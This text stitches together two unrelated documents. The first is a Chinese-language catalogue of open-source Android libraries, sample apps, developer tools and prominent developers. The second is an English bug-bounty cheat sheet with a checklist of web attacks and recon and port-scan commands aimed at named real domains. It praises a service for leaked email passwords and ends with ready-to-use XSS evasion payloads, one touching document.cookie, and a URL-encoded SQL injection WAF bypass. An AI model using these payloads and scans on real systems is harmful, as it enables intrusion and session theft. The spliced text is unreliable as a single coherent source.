[ContactsSearch](https://github.com/handsomezhou/PinyinSearchLibrary/blob/master/external_res/bin/ContactsSearch.apk?raw=true) [AppSearch](https://github.com/handsomezhou/PinyinSearchLibrary/blob/master/external_res/bin/AppSearch.apk?raw=true) 效果图:![Renderings](https://github.com/handsomezhou/PinyinSearchLibrary/blob/master/external_res/image/ContactsSearch.gif) APP 示例: 通讯录应用,微信电话本 1. PrainView PaintView 是一个画图工具: 可直接使用设定按钮来实现已拥有的方法,且拓展性强 基础功能:更换颜色、更换橡皮、以及更换橡皮和笔的粗细、清屏、倒入图片 特殊功能:保存画笔轨迹帧动画、帧动画导入导出、ReDo和UnDo 项目地址:[Paintview](https://github.com/lfkdsk/JustWeTools) 效果图:![p1](https://github.com/lfkdsk/JustWeTools/blob/master/picture/gif.gif) ![p2](https://github.com/lfkdsk/JustWeTools/blob/master/picture/io.gif) demo地址:[apk地址](https://github.com/lfkdsk/JustWeTools/blob/master/demo/DrawAPicture.apk) 原理解析:[PaintView 绘图控件解析](http://www.cnblogs.com/lfk-dsk/p/4768850.html) 1. CodeView CodeView代码查看/修改工具: 基于WebView制作的代码编辑器,实现代码高亮,暗色主题 项目地址:[CodeView](https://github.com/lfkdsk/JustWeTools) 效果图:![p3](https://github.com/lfkdsk/JustWeTools/blob/master/picture/accomplish.png) ![p4](https://github.com/lfkdsk/JustWeTools/blob/master/picture/edit.png) demo地址:[apk地址](https://github.com/lfkdsk/JustWeTools/blob/master/demo/JustWeTools.apk) 1. ExplorerView 文件浏览器:继承自ListView,可拓展性强,可进行文件类型分析 项目地址:[CodeView](https://github.com/lfkdsk/JustWeTools) 效果图:![p5](https://github.com/lfkdsk/JustWeTools/blob/master/picture/explorer1.png) ![p6](https://github.com/lfkdsk/JustWeTools/blob/master/picture/explorer2.png) demo地址:[apk地址](https://github.com/lfkdsk/JustWeTools/blob/master/demo/JustWeTools.apk) 1. ReadView 小说阅读器,支持文字字体、颜色、背景、进度等多种调整,支持一键设置。 项目地址:[ReadView](https://github.com/lfkdsk/JustWeTools) 效果图:![p7](https://github.com/lfkdsk/JustWeTools/blob/master/picture/readbook.png) demo地址:[apk地址](https://github.com/lfkdsk/JustWeTools/blob/master/demo/JustWeTools.apk) 1. MarkDownView 支持MarkDown语法的渲染器,基于WebView的MarkDown渲染器,支持标准化的MarkDown语法, 调用接口和CodeView保持一致使用简便 项目地址:[ReadView](https://github.com/lfkdsk/JustWeTools) 效果图:![markdown](https://github.com/lfkdsk/JustWeTools/blob/master/picture/markdown.png) demo地址:[apk地址](https://github.com/lfkdsk/JustWeTools/blob/master/demo/JustWeTools.apk) 1. VerTextView竖行排版的TextView: 支持竖行排版,添加了下划线功能,开启简便,下划线粗细、颜色、间距均可自定义, 接口调用方式与TextView相似,使用简便。 项目地址:[ReadView](https://github.com/lfkdsk/JustWeTools) 效果图:![vertextview](https://github.com/lfkdsk/JustWeTools/blob/master/picture/VerTextView.png) demo地址:[apk地址](https://github.com/lfkdsk/JustWeTools/blob/master/demo/JustWeTools.apk) 1. GHDownload下载框架 支持单线程和多线程断点下载,简单易用。 项目地址:[GHDownload](https://github.com/guanchao/GHDownload) ## 第三部分 优秀项目 主要介绍那些 Android 还不错的完整项目,目前包含的项目主要依据是项目有意思或项目分层规范比较好。 #### 一、系统及平台 1. Linux 项目地址:https://github.com/torvalds/linux 1. Android 项目地址:https://android.googlesource.com/ #### 二、项目 1. ZXing 二维码扫描工具 项目地址:https://github.com/zxing/zxing 或 https://code.google.com/p/zxing/ APK 地址:https://play.google.com/store/apps/details?id=com.google.zxing.client.android 其他:现在市面上很多应用的二维码扫描功能都是从这个修改而来 1. photup 编辑机批量上传照片到 facebook 上 项目地址:https://github.com/chrisbanes/photup APK 地址:https://play.google.com/store/apps/details?id=uk.co.senab.photup 其他:代码分包合理,很棒。不过这个项目依赖的开源项目比较多,比较难编译 1. github-android Github 的 Android 客户端项目 项目地址:https://github.com/github/android APK 地址:https://play.google.com/store/apps/details?id=com.github.mobile 1. Notes MIUI 便签 项目地址:https://github.com/MiCode/Notes APK 地址:https://github.com/Trinea/TrineaDownload/blob/master/miui-note-demo.apk?raw=true 其他:项目分包比较合理,相比较 miui 的文件管理器 https://github.com/MiCode/FileExplorer 代码规范较好得多 1. weicuiyuan 四次元-新浪微博客户端 项目地址:https://github.com/qii/weiciyuan APK 地址:https://play.google.com/store/apps/details?id=org.qii.weiciyuan 1. Douya 豆芽——Material Design 的豆瓣客户端 项目地址:https://github.com/DreaminginCodeZH/Douya 效果图:![](https://raw.githubusercontent.com/DreaminginCodeZH/Douya/master/screenshot/00-main.png) 1. gnucash-android 一个记账理财软件 项目地址:https://github.com/codinguser/gnucash-android APK 地址:http://play.google.com/store/apps/details?id=org.gnucash.android 1. AntennaPod 支持 rss 订阅、音乐订阅 项目地址:https://github.com/danieloeh/AntennaPod APK 地址:https://play.google.com/store/apps/details?id=de.danoeh.antennapod 1. ChaseWhisplyProject 打鬼游戏 项目地址:https://github.com/tvbarthel/ChaseWhisplyProject APK 地址:https://play.google.com/store/apps/details?id=fr.tvbarthel.games.chasewhisply 1. Tweet Lanes 功能完整的 Twitter 客户端 项目地址:https://github.com/chrislacy/TweetLanes APK 地址:https://play.google.com/store/apps/details?id=com.tweetlanes.android 1. Financius 简单易用的记账程序 项目地址:https://github.com/mvarnagiris/Financius APK 地址:https://play.google.com/store/apps/details?id=com.code44.finance 1. todo.txt-android todo.txt 的官方 Android 应用 项目地址:https://github.com/ginatrapani/todo.txt-android APK 地址:https://play.google.com/store/apps/details?id=com.todotxt.todotxttouch 1. simpletask 基于 todo.txt 官方应用的另一个客户端 项目地址:https://github.com/mpcjanssen/simpletask-android APK 地址:https://play.google.com/store/apps/details?id=nl.mpcjanssen.todotxtholo 1. Muzei Live Wallpaper 定时更换桌面精美壁纸 项目地址:https://github.com/romannurik/muzei APK 地址:https://play.google.com/store/apps/details?id=net.nurik.roman.muzei 1. Scanbook 扫描搜索查询图书信息 项目地址:https://github.com/JayFang1993/ScanBook APK 地址:http://www.wandoujia.com/apps/com.scanbook 1. iosched The Google I/O 2014 Android App 项目地址:https://github.com/google/iosched APK 地址:https://play.google.com/store/apps/details?id=com.google.samples.apps.iosched 1. CoolClock An Android clock 项目地址:https://github.com/socoolby/CoolClock APK 地址:https://github.com/socoolby/CoolClock/blob/master/CoolClock.apk 效果图: <img src="https://raw.githubusercontent.com/socoolby/CoolClock/master/CoolClock.png" width="768" height="382"/><img src="https://raw.githubusercontent.com/socoolby/CoolClock/master/demonstrate.gif" width="320" height="568"/> ## 第四部分 开发工具及测试工具 主要介绍和 Android 开发工具和测试工具相关的开源项目。 #### 一、开发效率工具 1. Parceler 通过注解及工具类自动完成实体类 Parcelable 及值传递 项目地址:https://github.com/johncarl81/parceler 1. Json2Java 根据 JSon 数据自动生成对应的 Java 实体类,还支持 Parcel、Gson Annotations 对应代码自动生成。期待后续的提取父类以及多 url 构建整个工程的功能 项目地址:https://github.com/jonfhancock/JsonToJava 在线演示:http://jsontojava.appspot.com/ 1. IntelliJ Plugin for Android Parcelable boilerplate code generation Android studio 插件,生成 Parcelable 代码 项目地址:https://github.com/mcharmas/android-parcelable-intellij-plugin 效果图:![Renderings](https://github.com/mcharmas/android-parcelable-intellij-plugin/raw/master/screenshot.png) 1. Android Holo Colors IntelliJ Plugin Android studio 插件,生成 holo 样式 9 patch 图片 项目地址:https://github.com/jeromevdl/android-holo-colors-idea-plugin 效果图:![Renderings](https://raw.github.com/jeromevdl/android-holo-colors-idea-plugin/master/other/holocolorsidea.png) 1. Android Drawable Factory 用于生成各个分辨率的图片 项目地址:https://github.com/tizionario/AndroidDrawableFactory 效果图:![Renderings](https://github-camo.global.ssl.fastly.net/5c3844b345a9779296f996490070dab0bfc9dbf5/68747470733a2f2f646c2e64726f70626f7875736572636f6e74656e742e636f6d2f752f32363636343637352f416e64726f69644472617761626c65466163746f72792f312e706e67) 1. SelectorChapek for Android Android Studio 插件,可根据固定文件名格式资源自动生成 drawable selectors xml 文件。 项目地址:https://github.com/inmite/android-selector-chapek 1. Android Action Bar Style Generator Android ActionBar 样式生成器,可在线选择 ActionBar 样式自动生成所需要的图片资源及 xml 文件 项目地址:https://github.com/jgilfelt/android-actionbarstylegenerator 在线演示:http://jgilfelt.github.io/android-actionbarstylegenerator/ 1. ButterKnifeZelezny 用于快速生成[ButterKnife](https://github.com/JakeWharton/butterknife)View 注入代码的 Android Studio/IDEA 插件 项目地址:https://github.com/inmite/android-butterknife-zelezny 1. RoboCoP 利用 Gradle task 根据固定格式的 json 文件生成 ContentProvider 项目地址:https://github.com/mediarain/RoboCoP 1. appiconsizes 用于生成各个分辨率的图片 项目地址:http://www.appiconsizes.com/ 1. AndroidUtiles 集合了所有常用的安卓工具类 项目地址:https://github.com/l123456789jy/Lazy 1. Gradle Retrolambda Plugin [Retrolambda](https://github.com/orfjackal/retrolambda)是将 Java8 的 Lambdas 应用于 Java7 的工具,本项目是 Gradle 插件,通过 Retrolambda 从而使 Java 或 Android 项目用 Java8 的 Lambdas 编写,将编译后的字节码转换为 Java6 和 7 的字节码从而正常运行 项目地址:https://github.com/evant/gradle-retrolambda 1. Dagger IntelliJ Plugin dagger 的 intellij 插件 项目地址:https://github.com/square/dagger-intellij-plugin 1. Android Gen Drawable Maven plugin 在编译时根据 SVG 描述文件生成不同分辨率的 jpg、png 或点 9 图片 项目地址:https://github.com/avianey/androidgendrawable-maven-plugin 1. Android Asset Studio 各种 Android 资源自动生成器,包括启动图标、ActionBar 图标、通知栏图标、点 9 等 项目地址:https://github.com/romannurik/AndroidAssetStudio 在线演示:http://romannurik.github.io/AndroidAssetStudio/ 1. jsonschema2pojo 根据 Json 内容生成 java 对象,支持 jackjson 和 gson 项目地址:https://github.com/joelittlejohn/jsonschema2pojo 在线演示:http://www.jsonschema2pojo.org/ 1. GsonFormat 根据 JSONObject 格式的字符串,自动生成实体类参数的 Android Studio/IntelliJ IDEA 插件 项目地址:https://github.com/zzz40500/GsonFormat 效果图:![Renderings](https://camo.githubusercontent.com/fbf4b89e2ec64e80d351f725d11762ebd2b7a515/687474703a2f2f75706c6f61642d696d616765732e6a69616e7368752e696f2f75706c6f61645f696d616765732f3136363836362d303766333038346262363735386566612e676966) 1. Json2Class 根据Json生成Java文件的Android Studio/IntelliJ IDEA 插件,并且可以选择Parcelable或者Serializable 项目地址:https://github.com/anzewei/Json2Class 效果图:![Renderings](https://raw.githubusercontent.com/anzewei/Json2Class/master/screenshot/screenshot_15002.png) 1. 9-Patch-Resizer 自动生成 png 及点 9 图片的不同分辨率版本 项目地址:https://github.com/redwarp/9-Patch-Resizer 1. AndroidLocalizationer 可用于将项目中的 string 资源自动翻译为其他语言的 Android Studio/IntelliJ IDEA 插件 项目地址:https://github.com/westlinkin/AndroidLocalizationer 1. Material Palette 一个将现有的色彩方案组合成材料设计的调色板方案,提供下载。选取两个主要色彩后便可以提供下载,提供下载的格式可以是 android 的资源 xml 文件,以色彩的方式提供,也可以是 CSS、SVG、PNG 等常见格式文件。 项目地址:http://www.materialpalette.com/ #### 二、开发自测相关 1. Quality Tools for Android Android 测试及自测工具集合和示例 项目地址:https://github.com/stephanenicolas/Quality-Tools-for-Android 1. android-test-kit Google 的 Android 测试工具 包括 GoogleInstrumentationTestRunner(增强版的 InstrumentationTestRunner)和 Espresso(用于快速写出可靠测试用例的 API) 项目地址:https://code.google.com/p/android-test-kit/ 文档介绍:https://code.google.com/p/android-test-kit/w/list 1. robolectric 测试用例编写框架 项目地址:https://github.com/robolectric/robolectric Demo 地址:https://github.com/robolectric/robolectricsample 文档介绍:http://robolectric.org/ 特点:(1). 不需要模拟器在一般 JVM 就可以运行测试用例 (2). 能完成在真机上的大部分测试包括感应器 其他的测试用例及相关模块 Mock 可见:[android-mock](https://code.google.com/p/android-mock/), [mockito](https://code.google.com/p/mockito/), [easy-mock](https://github.com/easymock/easymock) 1. Android FEST 提供一些列方便的断言,可用于提高编写 Android 自测代码效率 项目地址:https://github.com/square/fest-android 1. BoundBox 可用于测试类各种访问权限的属性、方法。实际是通过 BoundBox 这个 annotation 生成一个属性和方法都是 public 权限的中间类并对此类进行测试完成的 项目地址:https://github.com/stephanenicolas/boundbox 1. Hugo 用于打印函数信息及执行时间的工具,仅在 debug 模式生效 项目地址:https://github.com/JakeWharton/hugo 1. scalpel 在应用下面添加一层用于界面调试 项目地址:https://github.com/JakeWharton/scalpel 1. Android Screenshot library Android 截图工具类,用于在持续集成时截图 项目地址:https://github.com/rtyley/android-screenshot-lib 1. sonar-android-lint-plugin 将 android lint 的错误在 sonar 中展现 项目地址:https://github.com/SonarCommunity/sonar-android #### 三、测试工具 1. Spoon 可用于 android 不同机型设备自动化测试,能将应用 apk 和测试 apk 运行在不同机器上并生成相应测试报告。 项目地址:https://github.com/square/spoon 1. Tencent APT APT 是腾讯开源的一个 Android 平台高效性能测试组件,提供丰富实用的功能,适用于开发自测、定位性能瓶颈;测试人员完成性能基准测试、竞品对比测试 项目地址:https://github.com/stormzhang/APT 1. Emmagee 网易开源的性能测试工具,包括 CPU、内存、网络流量、启动时间、电池状态等 项目地址:https://github.com/NetEase/Emmagee 1. Android py-uiautomator py-uiautomator 是一个对 Android uiautomator 用 python 进行封装的测试框架. 项目地址:https://github.com/xiaocong/uiautomator 1. Augmented Traffic Control 模拟网络状况,包括带宽、时延抖动、丢包率、错包率、包重排率 项目地址:https://github.com/facebook/augmented-traffic-control 1. stetho 强大的 Android Debug 工具。支持网络请求监控以及数据库查看,可以和 Chrome DevTools 结合或者命令行模式。 项目地址:https://github.com/facebook/stetho #### 四、开发及编译环境 1. Buck facebook 开源的 Android 编译工具,效率是 ant 的两倍。主要优点在于: (1) 加快编译速度,通过并行利用多核 cpu 和跟踪不变资源减少增量编译时间实现 (2) 可以在编译系统中生成编译规则而无须另外的系统生成编译规则文件 (3) 编译同时可生成单元测试结果 (4) 既可用于 IDE 编译也可用于持续集成编译 (5) facebook 持续优化中 项目地址:https://github.com/facebook/buck 1. Android Maven Plugin Android Maven 插件,可用于对 android 三方依赖进行管理。在 J2EE 开发中,maven 是非常成熟的依赖库管理工具,可统一管理依赖库。 项目地址:https://github.com/jayway/maven-android-plugin 1. umeng-muti-channel-build-tool 渠道打包工具 项目地址:https://github.com/umeng/umeng-muti-channel-build-tool 另可参见 Google 的构建系统 Gradle:http://tools.android.com/tech-docs/new-build-system/user-guide 1. Genymotion 目前最好用最快的 android 模拟器 项目地址:http://www.genymotion.com/ Android studio 集成控件: http://plugins.jetbrains.com/plugin/7269?pr=idea Cyril Mottier 推荐:http://cyrilmottier.com/2013/06/27/a-productive-android-development-environment/ 1. gradle-mvn-push 方便的将 Gradle 的 Artifacts 上传到 Maven 仓库 项目地址:https://github.com/chrisbanes/gradle-mvn-push 文档介绍:https://github.com/chrisbanes/gradle-mvn-push#usage 1. Android Emulator Plugin for Jenkins Android 模拟器 jenkins 插件,用于 Jenkins 做持续集成时跑模拟器测试 项目地址:https://github.com/jenkinsci/android-emulator-plugin 1. Android Maven Plugin 管理应用所需要的依赖库。包括的构建工具有 Maven、Gradle、ant、sbt 项目地址:https://github.com/mosabua/maven-android-sdk-deployer 1. SDK Manager Plugin 下载和管理 Android SDK 的 Gradle 插件 项目地址:https://github.com/JakeWharton/sdk-manager-plugin 1. Gradle Protobuf Plugin 将.proto 文件转换成 Java 文件的 gradle 插件 项目地址:https://github.com/andrewkroh/gradle-protobuf-plugin 1. ChromeADB Chrome 的 Adb 插件,当登录后,能看到所有连接的设备并操作,可以看应用、进程、内存及磁盘使用情况等 项目地址:https://github.com/importre/chromeadb #### 五、其他 1. GT APP的随身调试平台,它是直接运行在手机上的“集成调试环境”(IDTE, Integrated Debug Environment)。 项目地址:https://github.com/TencentOpen/GT 文档介绍:http://gt.qq.com/docs.html 1. ViewServer 允许 app 运行在任何手机上都可以用 HierarchyViewer 查看 项目地址:https://github.com/romainguy/ViewServer 1. GridWichterle for Android 在整个系统上显示一个 grid,用来帮助查看应用布局及使得布局更美观,可设置 grid 网格大小和颜色,android 推荐 48dp 和 8dp,可见 Android Design Guidelines – Metrics and Grids,比起 hierarchyviewer 相差甚远,不过偶尔可用来作为布局查看工具。 项目地址:https://github.com/inmite/android-grid-wichterle Demo 地址:https://play.google.com/store/apps/details?id=eu.inmite.android.gridwichterle 1. Catlog 手机端 log 查看工具,支持不同颜色显示、关键字过滤、级别过滤、进程 id 过滤、录制功能等 项目地址:https://github.com/nolanlawson/Catlog 在线演示:https://play.google.com/store/apps/details?id=com.nolanlawson.logcat 1. PID Cat 根据 package 查看 logcat 日志 项目地址:https://github.com/JakeWharton/pidcat 1. ACRA 应用崩溃信息日志上报到 GoogleDoc 工具,网页版展现结果三方开源地址 https://github.com/BenoitDuffez/crashreportsviewer 项目地址:https://github.com/ACRA/acra 文档介绍:https://github.com/ACRA/acra/wiki/BasicSetup 1. Crashlytics 提供丰富的应用崩溃信息日志收集 轻量级,丰富,可自定义应用崩溃信息收集器,附有邮件通知 项目地址:http://www.crashlytics.com/ 集成插件:[Android Studio, Eclipse and IntelliJ](http://try.crashlytics.com/sdk-android/?utm_source=blog&utm_medium=blog&utm_campaign=Announcing_android_studio_wp&utm_content=CTA_button) 1. Android Resource Navigator chrome 插件,可以方便的查看 github 上 android 源码工程的 styles.xml 和 themes.xml。主要功能: (1) 快速打开 android styles.xml themes.xml (2) 方便在资源间跳转。styles.xml themes.xml 文件中资源链接跳转,可以方便跳转到某个资源 (3) 方便查找某个 style 和 theme。chrome 地址栏输入 arn+tab+搜索内容回车即可 (4) 自动下载不同分辨率下的 drawable (5) 通过映射查找那些不是按照固定命名规则命名的 style 和 theme 项目地址:https://github.com/jgilfelt/android-resource-navigator 在线演示:https://chrome.google.com/webstore/detail/android-resource-navigato/agoomkionjjbejegcejiefodgbckeebo?hl=en&gl=GB 1. android-resource-remover 根据 lint 的提示删除项目中无用的资源,减少包的大小 项目地址:https://github.com/KeepSafe/android-resource-remover 1. Telescope 通过手势截图以特定主题发送到特定邮箱地址报告 Bug 项目地址:https://github.com/mattprecious/telescope 1. Complete Android Fragment & Activity Lifecycle 完整的 Android Fragment/Activity 生命周期图 项目地址:https://github.com/xxv/android-lifecycle 1. Bugsnag Notifier for Android 通过`Thread.UncaughtExceptionHandler`捕获应用未处理的异常崩溃 Bug 并用 Notification 展示同时上传到后台服务器 项目地址:https://github.com/bugsnag/bugsnag-android 文档介绍:https://github.com/bugsnag/bugsnag-android#installation--setup 1. Material Design Icons Google Material Design 规范中的 Icon 项目地址:https://github.com/google/material-design-icons 1. scrollscreenshot Android 滚动屏幕自动截图 jar 包,支持纵向、横向滚动截屏拼接 项目地址:https://github.com/PGSSoft/scrollscreenshot 效果图:![Renderings](https://github.com/PGSSoft/scrollscreenshot/raw/master/samplehorizontal.png) 1. droidicon 1600+的海量 Icon,包括 750+的 Material Design icons 项目地址:https://github.com/theDazzler/droidicon 1. leakcanary Android 内存泄露检测工具,集成方便,出现泄露后报告直观 项目地址:https://github.com/square/leakcanary 效果图:![Renderings](https://github.com/square/leakcanary/blob/master/assets/screenshot.png) 1. CacheUtilsLibrary 将任何Java Object类型的数据序列化后写入缓存文件,将来使用时读取缓存文件并反序列化成对应Java Object的库 项目地址:https://github.com/westlinkin/CacheUtilsLibrary 1. BlockCanary BlockCanary是一个Android平台的一个非侵入式的性能监控组件,应用只需要实现一个抽象类,提供一些该组件需要的上下文环境,就可以在平时使用应用的时候检测主线程上的各种卡慢问题,并通过组件提供的各种信息分析出原因并进行修复。 项目地址: https://github.com/moduth/blockcanary ## 第五部分 主要介绍那些乐于分享并且有一些很不错的开源项目的个人和组织。Follow 大神,深挖大神的项目和 following,你会发现很多。 #### 一、个人 1. JakeWharton   现就职于 Google,(曾就职于 Square),绝对牛逼的大神,项目主要集中在 Android 版本兼容,ViewPager 及开发工具上   Github 地址:https://github.com/JakeWharton 代表作:ActionBarSherlock,Android-ViewPagerIndicator,Nine Old Androids,SwipeToDismissNOA,hugo,butterknife,Android-DirectionalViewPager, scalpel pidcat 另外对 square 及其他开源项目有很多贡献 主页:http://jakewharton.com/ 1. Chris Banes Github 地址:https://github.com/chrisbanes 代表作:ActionBar-PullToRefresh,PhotoView,Android-BitmapCache,Android-PullToRefresh 主页:http://chris.banes.me/ 1. Koushik Dutta 就职于 ClockworkMod Github 地址:https://github.com/koush 代表作:Superuser,AndroidAsync,UrlImageViewHelper,ion, 另外对 https://github.com/CyanogenMod 的开源项目有很多贡献 主页:http://koush.com/ 1. Simon Vig Github 地址:https://github.com/SimonVT 代表作:android-menudrawer,MessageBar 主页:http://simonvt.net/ 1. Manuel Peinado Github 地址:https://github.com/ManuelPeinado 代表作:FadingActionBar,GlassActionBar,RefreshActionItem,QuickReturnHeader 1. Emil Sj?lander Github 地址:https://github.com/emilsjolander 代表作:StickyListHeaders,sprinkles,android-FlipView 主页:http://emilsjolander.se/ 1. greenrobot Github 地址:https://github.com/greenrobot 代表作:greenDAO,EventBus 主页:http://greenrobot.de/ 1. Jeff Gilfelt Github 地址:https://github.com/jgilfelt 代表作:android-mapviewballoons,android-viewbadger,android-actionbarstylegenerator,android-sqlite-asset-helper 主页:http://jeffgilfelt.com 1. Romain Guy Android team 成员(2013.10 已离开 Android team,仍在 Google) Github 地址:https://github.com/romainguy 代表作:ViewServer 主页:http://www.curious-creature.org/category/android/ 個人攝影作品:http://www.flickr.com/photos/romainguy 1. sephiroth74 就职于 Aviary.com Github 地址:https://github.com/sephiroth74 代表作:ImageViewZoom,HorizontalVariableListView,AndroidWheel,purePDF 主页:http://www.sephiroth.it/ 1. Cyril Mottier Google 开发者专家认证,发布一些 Android 技巧及文章 Github 地址:https://github.com/cyrilmottier 代表作:GreenDroid,Polaris 主页:http://cyrilmottier.com/ #### 二、组织 1. Square 有态度有良心的企业,很多不错的分享 Github 地址:https://github.com/square 代表作:okhttp、fest-android,android-times-square、picasso、dagger、spoon 等等 主页:http://square.github.io/ 1. Inmite s.r.o. Github 地址:https://github.com/inmite 代表作:android-styled-dialogs,android-grid-wichterle,android-selector-chapek 主页:http://www.inmite.eu/ #### 三、博客 [部分国外著名 Android 开发者信息](https://github.com/android-cn/android-dev-com) ## License Copyright 2014 [trinea.cn](https://www.trinea.cn/) Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
[Shortcut to Extract Subdomains and running services] --- | Website | Comment | |--- | --- | http://zoomeye.org | Powerfull. Search automatically for exploits on running services<br> Allows only 20 requests on free tier http://netograph.io | Useless. Low data<br> https://www.nerdydata.com/ | Useless/Marketing stuff<br> http://intelx.io | Very impressive. There are many emails with passwords extracted of many databases leaked. Very helpfull to Redteams Companies which have to see whats is going on with your employes email<br> http://fofa.so | Limited. You must have an API key to see more than one page<br> http://onyphe.io | Useless, Single target<br> http://app.binaryedge.io | Powerfull. Can filter by iot, ports, products, ASN. Allows 250 requests per month<br> http://shodan.io | Top tool. Expensive. You should buy when it is on chinese blackfriday. Also, recommend you to monitor shodan's twitter for new update or promotions<br> http://viz.greynoise.io | Few contents, although makes automatically exploits on running services, e.g: Its seems exploitable to eternal blue<br> http://ivre.rocks | Use Zeek (formerly known as Bro), Argus and Nfdump/ Isnt Website tool<br> https://spyse.com/search/subdomain | Amazing table view. No search limits, although doesn't make advanced things. It's make like a research about service or product<br> https://community.riskiq.com/search/ | There are a lot of contents, but seems useless. I cant see anything sensitive<br> # Process/Methodology: ## 1. Attacks(Test on Subdomains first if Target has no subdomains or not juicy subdomains then go for main Domain.) All Subdomains:- 1) XSS 2) Host Header Injection 3) Open Redirection through WaybackURLS 4) Improper Access Control & Parameter Tampering(Forgot password,price etc) 5) HTML Injection(like xss,reflect back our HTML code) 6) File Inclusion(upload malicious file using LFI,RFI(search in burp for file://,url,redirect etc.) , path traversal(var/www/html),run with url) 7) SPF(no valid SPF Records)-Sender Policy Framework 8) CORS -Cross Origin Resource Sharing(Change Origin by curl or burp search:Access control.. and get XML code) 9) SSRF- Server Side Request Forgery(../etc/passwd)(Read Unrestrted file,Scn intrnl network,Rfi(Execute Own Code)) 10) Critical file Search (use wordlist and on main domain) 11) Sorce Code Disclosure(use burp search file://login.php,try to find sql code,site:domain.com index.of.backup) 12) CSRF-GET ,POST(html file) 13) API search using grep(Use tool for that) 14) Authentication Bypass(use my writeup) 15) SSTI-Server Side Template Injection (use Portswigger for help) 16) Unicode Injection in Mail address param and use burp collborator for receiving mails. 17) for business logic error(use fuzzdb github) 18) Sub Domain Takeover(HostileSubbruteforcer, sub404) 19) Email Header Injection On Reset password Function 20) SMTP and Host Header Injection 21) Iframe (for Clickjacking) 22) Check Burp History,Arjun,Hakcrawler for finding Endpoint 23) Check Cryptography in Reset Password Token 24) Bypassing Rate Limit 25) Check Headers: X-Originating-IP:IP X-Remote-IP:IP X-Remote-Addr:IP X-Client-IP:IP X-Forwarded-Host:IP X-Forwarded-For:IP 26) Directory Bruteforce 27) Http Request Smuggling 28) Check for Social Signon Bypass 29) File Upload CSRF, SSRF, RCE, LFI, XXE 30) Buffer Overflow 31) SQL Injection(use SQLmap) https://medium.com/@hninja049/sql-injection-using-sqlmap-9d14182005a0 ## 2. RECON Find Subdomains(use Amass,Subfinder,Sublister,Nahamsec repo,crtsh,virustotal,) ex: 1. amass enum -brute -d twitch.tv -src 2. amass enum -brute -d twitch.tv -rf resolvers.txt -w bruteforce.list Auxiliary- DNSSEC LDNSUTILS,NSEC3WALKER,NSEC3MAP Github Recon Search for Goodies Dorking ADS key,Priv pol,TOS,AWS,S3 -Use Directory Finder Tool(massdns,Dirbuster,GoBuster,dns-parallel-prober,blacksheepwall) also for subdomain brute force. commonspeak for wordlist- subdomain & url data(Not Recommended). Nahamsec Wordlist- Sec-list ## 3. ENUMERATE Port Scanning Massscan ex: masscan -p1-65535 -iL $ipFile --max-rate 1800 -oG $outPutFile.log Nmap Credential Bruteforcing Brutespray Use Eyewitness for Screenshots webscreenshot Aquatone WayBackurl -get API's -to see previous version of URLs Xmind Organisation -to track the Enum process. Burp Vuln Scanner -Platform Identification CVE Searching Parsing javascript(Links parsing,or extracting Links from js files),Coverage for Heavy javascript sites ZAP AJAX SPIDER JSParser Link finder burp>>Engagement tools>>Find Scripts>>Copy Selected URLs and pass this to these tools Platform Identification Builtwith WappAlyzer Content Discovery/Directory Bruting TBHMV1 Seclists Raft Digger Wordlists WPScan CMSMAP Gobuster Burp Content Discovery Robots Disallowed git/jhaddix/content_discoveryall.txt Parameter Bruting Parameth Burp Analyze Target Param Spider(find urls which have parameters) ------------------------------------------------------ ### Blind XSS Frameworks LewisArdern/bXSS ssl/ezXSS ### SSRF git/jhaddix/cloud_metadata.txt ### IDOR-MFLAC(Insecure Direct Object Reference) Id's Hashes Emails ### Subdomain Takever git/Edoverflow/can-i-take-over-xyz s3scanner Hostilesubbruteforcer ### WAF Cloudfare/Akamai Security testing against Akamai?look for origin-sub.domain.com,origin.sub.domain.com bypass the filtering by going to the source. ### Other Useful Tools- Eyewitness- for Screenshots webscreenshot -for screenshots Aquatone -for screenshots HTTPSscreenshot -for screenshots Openlist Chrome Extension- open tabs with specified urls ### ASN Lookup,net, http://bgp.he.net,Crunchbase for Aquistions(Other Organisations) Whoxy.com, DOMLink, https://builtwith.com/relationships/twitch.tv, Google Fu, Shodan API, and juicy Subdomains ### tips to crawl webpaste meg -path find ffuf -path '' concurl -path '' comm -compares sorted files gau -fetch js files find -to list directory Arjun - Find parameters on a specific endpoint --- ### Advance Payloads:- #### for XSS 1. <marquee loop=1 width=0 onfinish=pr\u006fmpt(document.cookie)>Y000</marquee> '">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg"> ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> “ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// #### for SQL injection used URL encode 2. /*!50000%75%6e%69on*/%73%65%6cect 1,2,3,4,... --- ### Personal Recommended tools (Left to Right Priority):- #### for subdomains 1. Subfinderv2,Amass,Sublister,crtsh #### for Finding Parameters 2. Arjun,ParamSpider,Parameth ex: for paramspider:- python3 paramspider.py --domain healthifyme.com --exclude woff,css,js,png,svg,php,jpg --output healthifyme.txt #### for Separating https & http 3. httpx(With Title),httprobe #### for Subdomains,cloud Services subdomains in js files, Use the Shannon Entropy 4. SubDomainizer 5.Link Discovery by GoSpider|Hakrawler|Burp Suite Pro & use advance scope as keyword 'Twitch' #### Juicy Domains by Google,Crtsh,WayBackMachine 6. SubDomain Scraping ex:- site:domain.com -maindomain.com -otherdomain.com (subtract main domain) #### by shodan scraped subdomains 7. Shosubgo #### for Subdomain Bruting 8. Amass,ShuffleDNS,commonspeak2 #### Service Scanning 9. brutespray #### Screenshotting 10. Eyewitness, Aquatone, httpscreenshot #### Subdomain takeover 11. (can i take over xyz),SubOver & nuclei #### Automation 12. Interlace,Pwnkey,Lazyrecon,Spiderfoot(GUI) #### for links,endpoints 13. Linkfinder #### for API and different 